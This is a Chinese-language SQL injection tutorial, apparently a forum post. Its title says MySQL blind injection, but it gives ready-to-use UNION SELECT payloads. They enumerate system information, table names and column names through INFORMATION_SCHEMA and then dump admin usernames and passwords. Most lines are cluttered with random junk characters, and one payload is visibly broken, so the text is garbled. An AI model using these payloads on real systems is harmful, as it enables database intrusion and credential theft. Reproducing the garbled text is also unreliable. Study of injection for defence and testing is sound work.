本文介绍MYSQL盲注的一些语句和方法
+ ^6 p/ x; T# }/ c: j9 F; Y; n% B2 j; r. q
学习盲注前先了解下 IFORMATION_SCHEMA 库/ X- U4 _3 V$ L. @3 |. W3 h4 f
4 r9 i0 C7 @- _, I( ?Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有
0 G3 t& T" w* f! n: l V0 \存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
' ?2 m( h1 g, q1.得到所有数据库名:, [: l8 ~3 S8 l8 g, C
|SCHEMATA ->存储数据库名的表* R2 j' C3 J( z9 |3 x. y" B, D; I) |
|---字段:SCHEMA_NAME ->数据库名称
$ ^3 `" E4 K) O( L
) |1 ?2 y1 b! \0 o|TABLES ->存储表名
! Z5 D0 g7 Y. U1 {1 z- W/ k1 j|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名8 G% q# n; G0 ~& r
|---字段:TABLE_NAME ->存储表的表名$ C |/ \+ D- C7 A5 d4 i
3 v% E) q. ]6 `/ W|COLUMNS ->存储的字段名表. i9 s$ A, _' Z; ?
|---字段:TABLE_SCHEMA ->该字段所属数据库名
7 a' q t4 O+ g9 Y* _/ t|---字段:TABLE_NAME ->存储所属表的名称5 x3 n% S, K- Y; n
- d/ Y6 H) t8 m|---字段:COLUMN_NAME ->该字段的名称
$ s- N4 H x0 P; X6 z" F
3 I+ t% o+ [+ h" N+ U/ O! i
1 b8 Z# R. K. ^
. ]. i# x: {$ g& W6 \###########################################################################
) b3 d7 q2 W) K: F# J
4 N' T6 u6 |& y: Q. a" Y+ o, l0x001 获取系统信息:. f4 }$ V _7 u# s' Q
) ?4 h- A7 C& Q$ G9 r; N) hunion select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*3 e5 x( j% a. K
. @) j, }3 N2 A4 C) F1 p* x0 \/*+ U! L, c1 L* }+ X
" v6 E3 Q: z0 H
@@global.version_compile_os 获取系统版本8 m* `0 t; h Z
4 G, o! o7 @* M# C" g8 J
@@datadir 数据库路径
% G9 n8 [; f: O8 Ndatabase() 当前数据库名称
}/ N" ^7 ^" G0x3c62723e 换行HEX值0 o3 M9 Z5 R( h( }( q1 F+ `& S# g7 w; V
/ i, n7 N6 r6 T! s- R9 i( E; T4 V
*/* O1 x3 _2 O1 u6 f
0 k! X4 J! D( @, c
L8 _8 m8 r* X$ V7 ]
, j" K+ O) B, l6 [1 ]8 T######################################################################1 I8 H) Q0 f+ [& ?
+ j9 t- [4 G! a, g3 F
0x002 获取表名3 W$ k) R! U/ G( g4 K# i
: o- E8 q3 Y1 ~- R- G& ]. G
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*
/ J: m7 @ b9 ~& W0 `3 ~6 V/ O' R( @0 V7 i, t
: V3 e* ^1 r7 F9 y7 n) m
" Z/ t# }1 x+ v" b/*% q/ I1 y8 N5 X$ o+ ~: U# y# }
4 ?+ o$ D% T- v& u9 _$ |0x67617264656e 为当前数据库名) |4 r; w, x) D3 H Y% {8 o
: S! K8 W4 q+ s1 D" N* g
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名
2 a% P0 t) \' ^2 i- b( C' H+ D& D* U
*/
( @2 n |9 ]# L9 S, }
0 E* e6 Y* o4 }/ M######################################################################7 m% ~& G1 {; ^: G5 W1 d
0 h6 V* x% P7 [3 O: E0 ~
8 U, v! ?' {# ~. r1 O+ ?. X, \( ?/ @& L
0x003 获取字段5 N8 T* ~, y8 d
. t& `* `: X0 c1 w% [1 |union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /** f/ R! y5 H* J- v# Y# \# U h; A, {# f0 K
+ E, b1 _" O% d! r2 `/ T/ {8 _
/*
% }& ?# Q' Z$ N" j# o
; T- T( \& n v4 p, kgroup_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段0 R+ y' k6 ?+ l0 ^- Q( Z9 E
; m6 Z* D, q. E; V Z0x61646d696e ->选择一个表
, I% L7 p& Y; J
6 ]) n- W/ s$ p0 M6 z8 o0x67617264656e ->数据库名
1 D. M: H# |% |7 J ^* j- X5 k" c5 x$ z! k9 o! f
*/
5 w3 p# T) P- a& Y. d \' @, U- g: X( J/ i
#####################################################################
+ Z( Y! e( O$ p4 l5 C5 J: h) u6 i) R* e5 T
: P' {% {7 S) `
2 ]" A) G% K; v0x004 获取数据3 Z+ m. ^2 w. u2 j0 x3 t
% l# `4 v6 O! S: K+ H, ~" Eunion select 1,2,31 O, _3 x; G6 J& `0 y( ]
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
9 R$ h0 f* b' p9 a+ r
1 h1 J$ }6 z; n/ Y- D1 k" wunion select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin5 i' [% o. m/ B r6 M! ~% E
& L3 c: T% B) e; |' W8 K5 y/ h
5 `/ C: ]- h% g$ B
i$ X6 ?8 I6 @/ q
/*) C/ ]: r* J! A( }2 i+ Z
; {3 |; }7 p" {0x3c62723e 换行符号HEX编码, x; L1 M2 N& Q0 h& {- @2 w+ q8 Q
( d5 `9 \% O8 j& O2 a4 _
group_concat 同时获得该字段所有数据7 {0 Q7 x- i4 d, S
' x( V( Q( F; Y* p! i4 I. I7 V
*/
! L. q4 P/ z$ w2 q! E0 o3 e3 t1 G7 u9 A _9 K0 h* {% ` c+ l2 k
|